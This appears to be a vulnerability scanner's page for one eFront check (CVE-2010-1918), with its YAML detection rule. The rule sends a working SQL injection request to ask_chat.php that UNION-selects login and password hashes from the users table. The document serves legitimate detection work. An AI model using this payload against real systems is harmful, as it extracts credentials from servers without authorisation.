eFront — 1 vulnerability check
noctis ships 1 vulnerability check for eFront, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
eFront SQL Injection (ask_chat.php chatrooms_ID parameter)
| CVE | CVE-2010-1918 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/efront/CVE-2010-1918.yaml |
Detects CVE-2010-1918 by sending a UNION SELECT payload to the ask_chat.php endpoint and confirming, on a 200 response, both the reflected injected query and the admin.<password> concat result in the response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1… - Checks
resp.bannerforHTTP/1\.[01] 200 - Checks
resp.bannerforadmin\.[0-9a-f]{6} - Checks
resp.bannerfor0 UNION select concat\(login,0x2e,password\)→ finding QoD 75: eFront SQLi confirmed — UNION SELECT on ask_chat.php chatrooms_ID returned the admin.<password> concat result in a 200 response at …:…
References:
Feed source — tests/vulnerabilities/efront/CVE-2010-1918.yaml
# eFront — 'ask_chat.php' SQL Injection (CVE-2010-1918)
#
# eFront is prone to an SQL injection (SQLi) vulnerability. The `chatrooms_ID`
# parameter of ask_chat.php is used in an SQL query without sanitisation. An
# unauthenticated attacker injects a UNION SELECT concat(login,0x2e,password)
# that dumps credentials into the response, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_efront_sql_inj_vuln.nasl
# (GPL-2.0-only). The NASL confirms with check_header:TRUE (HTTP 200), the
# reflected injected query, and extra_check "admin" (the concat result
# admin.<password> returned by the UNION). All three are reproduced here so a
# server that merely reflects the decoded request URI does not false-positive.
#
# The payload carries URL-encoded tokens (`%20`, `%28`, `%29`) that reqwest
# would normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the result is matched on resp.banner.
uid: ad986014-9906-46d5-8e30-24a2516fd283
name: "eFront SQL Injection (ask_chat.php chatrooms_ID parameter)"
description: |
Detects CVE-2010-1918 by sending a UNION SELECT payload to the ask_chat.php endpoint
and confirming, on a 200 response, both the reflected injected query and the
admin.<password> concat result in the response.
cves: [CVE-2010-1918]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [efront, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2010-1918"
- "OpenVAS/Greenbone NASL 2010/gb_efront_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /ask_chat.php?chatrooms_ID=0%20UNION%20select%20concat%28login,0x2e,password%29,1,1,1,1%20from%20users%20--%20x HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# NASL check_header:TRUE — require HTTP 200.
- id: status-check
action: match
source: resp.banner
pattern: "HTTP/1\\.[01] 200"
store_as: st
# NASL extra_check "admin" — the concat(login,0x2e,password) UNION result,
# i.e. admin.<password hash>. A generic URL reflector cannot produce this.
- id: admin-check
action: match
source: resp.banner
pattern: "admin\\.[0-9a-f]{6}"
store_as: adm
# Primary: the reflected injected query, gated on 200 + the admin result.
- id: confirm-sqli
action: match
source: resp.banner
pattern: '0 UNION select concat\(login,0x2e,password\)'
on_match:
condition: "st.matched && adm.matched"
finding:
confidence_delta: 0.55
qod: 75
evidence: "eFront SQLi confirmed — UNION SELECT on ask_chat.php chatrooms_ID returned the admin.<password> concat result in a 200 response at {{target_host}}:{{port}}"